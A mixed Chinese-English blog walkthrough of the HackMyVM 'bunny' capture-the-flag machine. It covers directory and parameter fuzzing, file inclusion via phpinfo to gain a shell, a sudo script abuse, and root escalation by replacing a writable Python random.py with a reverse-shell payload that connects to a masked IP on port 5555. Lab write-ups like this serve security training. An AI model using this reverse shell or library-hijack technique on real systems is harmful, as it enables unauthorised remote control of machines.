当前位置:网站首页>hackmyvm-bunny预排
hackmyvm-bunny预排
2022-08-02 03:59:00 【xdeclearn】
hackmyvm-buny walkthrough
难度(作者评价):difficult
信息收集
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
获取shell
Very little port information,常规操作,访问80,爆破目录.
upload.php,password.txt,config.phpAll are text files with no real meaning.phpinfo.phpInformation about the host was leaked.
能想到的就是index.php是不是存在ssrf
.于是利用ffuf
对index.php进行参数fuzz,得到参数page
is the actual request parameter.
由于allow_url_include
是off,So there is no way to do itphp://input
和data
协议利用. Blast log files also cannot be exploited for local file inclusion fetchesshell.
同时webThere is no upload point in the service,So refer to the articlephp文件包含漏洞(利用phpinfo)复现
[1],成功上传shell.
切换用户
Obtained for ease of operationpty,反弹一个shell,查看sudo
.
magic文件如下:
#/bin/bash
$1 $2 $3 -T -TT 'sh #'
It's easy to switch to userchris
,得到第一个flag.
提权至root
利用pspy64
可以看到rootRunning every minutependu.py
.
This file does nothing,但是引入了random
.
从图中可以看到random是可以修改的.于是将randomChange it to a bounceshell.
[email protected]:~$ cat /usr/lib/python3.7/random.py
cat /usr/lib/python3.7/random.py
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("*.*.*.*",5555))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
成功获取root权限.
参考
- https://www.cnblogs.com/xiaoqiyue/p/10158702.html
边栏推荐
猜你喜欢
PHP8.2 version release administrator and release plan
IP access control: teach you how to implement an IP firewall with PHP
PHP有哪些杀手级超厉害框架或库或应用?
12. What is JS
Orasi: 1 vulnhub walkthrough
kali安装IDEA
(1) print()函数、转义字符、二进制与字符编码 、变量、数据类型、input()函数、运算符
hackmyvm-bunny walkthrough
如何计算地球上两点的距离(附公式推导)
PHP的几个有趣的打开方式:从基本到变态
随机推荐
1.初识PHP
PHP8.2中字符串变量解析的新用法
关于tp的apache 的.htaccess文件
[symfony/mailer]一个优雅易用的发送邮件类库
hackmyvm: again walkthrough
hackmyvm-random walkthrough
DVWA靶机安装教程
vim编辑模式
Introduction to PHP (self-study notes)
JS objects, functions and scopes
4. The form with the input
12. What is JS
CTF入门之php文件包含
(6) 学生信息管理系统设计
VIKINGS: 1 vulnhub walkthrough
Dom实现input的焦点触发
解决 Zlibrary 卡死/找不到域名/达到限额问题,Zlibrary最新地址
Eric靶机渗透测试通关全教程
宝塔邮局邮箱设置成功后能发送不能接收问题处理
阿里云MySQL5.7安装以及部分主要问题(总和)